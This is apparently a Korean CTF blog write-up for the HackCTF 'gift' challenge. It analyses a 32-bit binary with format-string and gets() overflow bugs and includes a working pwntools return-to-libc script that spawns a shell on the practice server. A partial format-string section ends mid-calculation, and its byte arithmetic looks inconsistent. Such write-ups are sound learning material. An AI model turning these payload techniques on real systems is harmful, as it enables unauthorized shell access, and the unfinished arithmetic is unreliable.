check
- 32bit
- NX
Analyze
psuedo code
- binsh 문자열의 주소와 system 함수의 주소를 출력한다.
- 128byte만큼 사용자로부터 fgets함수를 통해 입력받고 입력받은 내용을 출력한다.
- printf(&s)에서 포맷스트링을 직접 출력인자로 넣으면서 FSB 취약점이 발생한다.
- 0x84byte만큼 할당되어 있는 스택 버퍼 s에 gets를 통해 길이 제한없이 값을 입력받으면서 BOF 취약점이 발생한다.
- 변수 binsh는 bss 영역에 정의된 초기화되지 않은 변수이다. 즉 binsh 변수에 "/bin/sh\x00"을 저장하여 사용할 수 있을 듯 하다. + bss 영역이기 때문에 ASLR이 적용되어 있어도 주소값이 달라지지 않는다.
실행
- 변수 binsh와 system 함수의 고정 주소를 출력하고 값을 입력받도록 한다.
- 첫번째 입력에서 입력한 내용은 첫번째 포맷스트링부터 차례로 참조된다.
>> FSB 취약점을 이용해 fgets에서 binsh 변수에 "/bin/sh\x00"을 덮어쓰고, gets함수에서 BOF 취약점을 이용해 system("/bin/sh"); 가 되도록 한다.
Exploit - RTL
FSB로 풀어보기에 앞서 BOF 취약점만을 이용해 binsh변수의 주소에 그냥 문자열 "/bin/sh\x00"을 저장하여 exploit할 수 있다.
from pwn import *
#context.log_level = 'debug'
#p = process("./gift")
p = remote("ctf.j0n9hyun.xyz", 3018)
elf = ELF("./gift")
p.recvuntil("Hey guyssssssssss here you are: ")
binsh = int(p.recv(9),16)
p.recvuntil(" ")
system = int(p.recv(10), 16)
log.info("binsh address: "+hex(binsh))
log.info("system address: "+hex(system))
gets = 0x80483d0 #gets@plt
pop = 0x80483ad
p.sendline("AAAA")
p.recvline("\n")
pl = "A"*(0x84 +4)
pl += p32(gets)
pl += p32(pop)
pl += p32(binsh)
pl += p32(system)
pl += "BBBB"
pl += p32(binsh)
p.sendline(pl)
p.send("/bin/sh\x00")
p.interactive()
FSB 취약점을 이용해 binsh변수의 주소를 "/bin/sh"로 덮어쓰려고도 해봤는데 FSB는 아직 너무 어렵다...ㅠㅠ
Exploit - FSB
"/bin/sh\x00"을 16진수로 바꾸어 한 번에 넣기에 값이 너무 크기 때문에 1byte씩 나눠 넣도록 한다.
/b = 0x2f62 = 12130
in = 0x696e = 26990
/s = 0x2f73 = 12147
h\x00 = 0x68 = 104
binsh 변수의 주소 = 0x849940
FSB 정리를 보면 %n을 이용해 값을 나누어 덮어쓸 때에는 화면에 이미 출력된 문자열의 길이를 고려해야하기 때문에
- /b = 0x2f62
- in = 0x696e → 0x696e - 0x2f62 = 0x3a0c = 14860
- /s = 0x2f7e → 0x2f7e - 0x696e < 0 음수가 되기 때문에 앞에 1을 붙여 계산한다 → 0x12f7e - 0x696e =
리눅스에서는 리틀 엔디언 방식을 사용하기 때문에 하위 비트먼저 넣어야 한다.
여기서 %n 앞에 입력한 내용의 자릿수만큼을 입력내용 위치이후의 4byte에 주소값으로 저장
'System > PWNABLE' 카테고리의 다른 글
[ROP Emporium] ret2win (0) | 2021.03.18 |
---|---|
[HackCTF] Pwning (재) (0) | 2021.03.08 |
[HackCTF] Look at me (재) (0) | 2021.03.03 |
[HackCTF] RTL core (0) | 2021.02.14 |
[HackCTF] Random Key (0) | 2021.02.13 |